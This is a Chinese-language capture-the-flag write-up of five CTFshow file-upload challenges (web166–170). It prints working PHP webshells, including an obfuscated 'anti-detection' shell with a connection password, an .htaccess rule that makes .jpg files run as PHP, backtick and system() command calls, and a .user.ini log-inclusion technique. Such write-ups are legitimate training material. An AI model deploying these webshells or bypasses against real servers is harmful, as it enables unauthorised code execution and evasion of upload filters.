目錄
1、web166
2、web167
3、web168
4、web169
5、web170
1、web166
查看源碼,前端只讓傳 zip
上傳 zip 成功后可以進行下載?
隨便搞一個壓縮包,使用記事本編輯,在其內容里插入一句話木馬:
上傳該壓縮包,上傳成功后點擊下載文件,使用 burpsuite 抓包:
我這里木馬內容用的 request ,就在 get 里執行 ls 沒什么問題,但是讀取 flag 時識別有點問題,最好使用 post 請求,因此將請求方法改為 post ,將 file 的內容還原到上面。
讀取 flag:
ctfshow{f98c6ba4-e71a-46bf-b7c3-846db8cc08d7}
后面發現轉為 get 方法其實也是可以的,注意添加一個加號進行拼接,而不是用空格:
2、web167
提示:httpd
.htaccess 文件是 Apache HTTP 服務器的目錄級配置文件,它允許用戶覆蓋 Web 服務器的系統范圍設置,而無需修改全局配置文件(例如 httpd.conf 或 apache2.conf)。
這里我們可以通過上傳?.htaccess 文件,其內容設置如下:
<FilesMatch ".jpg">SetHandler application/x-httpd-php
</FilesMatch>
這里先改為 jpg 上傳繞過前端限制后再改回 .htaccess 放包:
這個配置文件上傳成功后,就會使?jpg 后綴的文件都被當做 php 文件解析。
接下來我們直接將一句話木馬改為 jpg 后綴上傳:
點擊下載文件即可訪問到一句話木馬:
空白,說明上傳解析成功。
調用:
看一下上層目錄:
讀取 flag.php:
拿到 flag:ctfshow{ba49b0f7-b8f9-447d-b1d3-118311c3d829}
3、web168
前端還是只能傳 png
使用 burpsuite 抓包,改后綴重放回顯 null
什么都沒有回顯
做了一下 fuzz 測試:
單個的字符都是沒問題的,但是合在一起傳的內容就有問題,并不是像前面對內容進行過濾那樣簡單,查看提示:基礎免殺。
經過測試,正常內容可以上傳,并且對 php 文件沒有后綴限制:
?
文件會被上傳到 upload 目錄下:?
phpinfo 也可以正常上傳并解析:?
無論是正常的 php 代碼還是短標簽的格式:
測試關鍵字:eval、system、assert、$_POST
均返回 null,猜測應該是過濾掉了一些危險函數和關鍵字
做了一下拼接繞過:
<?php$a="e"."v";$b="a"."l";$c=$a.$b;$c($_REQUEST['cmd']);
?>
但是訪問的時候報錯:
看來不光是過濾關鍵字,這些高位函數在?PHP 配置中也被禁用了。
在網上找到了一個免殺的木馬:
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>
連接密碼: TyKPuntU?
調用:
查看上一層目錄:
TyKPuntU=system('ls ../');
存在 flag.php 和 flagaa.php,先讀取 flag.php:
TyKPuntU=system('tac ../flag.php');
不是,那么再讀取?flagaa.php:
TyKPuntU=system('tac ../flagaa.php');
拿到 flag:ctfshow{eec273d2-c16e-4772-bc11-b9d3587af55b}?
如果這里不上一句話木馬,我們還可以使用反引號來執行命令:
<?=`ls ..`;
讀取 flag:
<?=`tac ../flagaa.php`;
4、web169
高級免殺
前端只能傳 zip,抓包繞過即可?
但是在后端上傳發現不行,這段 unicode 編碼在前面遇到過,文件類型沒對。
需要修改 content-type 為:image/png
至于文件后綴并不影響,php 也可以:
測一下上一題的木馬,過不了:
這里直接把尖括號(大于小于號)都給斃掉了:
想直接寫進去很難了,采用日志文件包含:
先上傳配置文件 .user.ini,也需要改文件類型為 png 圖片類型
可以上傳成功,再在? ua 頭里面插入我們希望執行的 php代碼,再次發送:?
訪問 upload 目錄,返回 403,應該是 upload 目錄下沒有 php 文件:
我們隨便傳一個上去:
訪問 /upload/1.php
遇到報錯:
?可能前面傳得太亂了,重啟容器,重新傳 php 文件和配置文件:
再次訪問 /upload/1.php,可以看到 ls ../ 執行成功:
讀取 flag:
拿到 flag:ctfshow{5e939b5c-d235-43ae-9b2b-22c0387a9278}
5、web170
終極免殺
?方法與上一題一樣,也是采用日志包含。
傳配置文件:
這里的 payload 就直接讀 flag 了:
傳 php 文件:
這次直接傳 index.php,內容為空,一會兒直接訪問 upload 目錄即可看到回顯。
拿到 flag:ctfshow{719e6a2b-7309-4fe1-964b-8ba79bcbb809}
CTFshow-Web 入門系列的文件上傳至此結束。
Myon,2024.7.11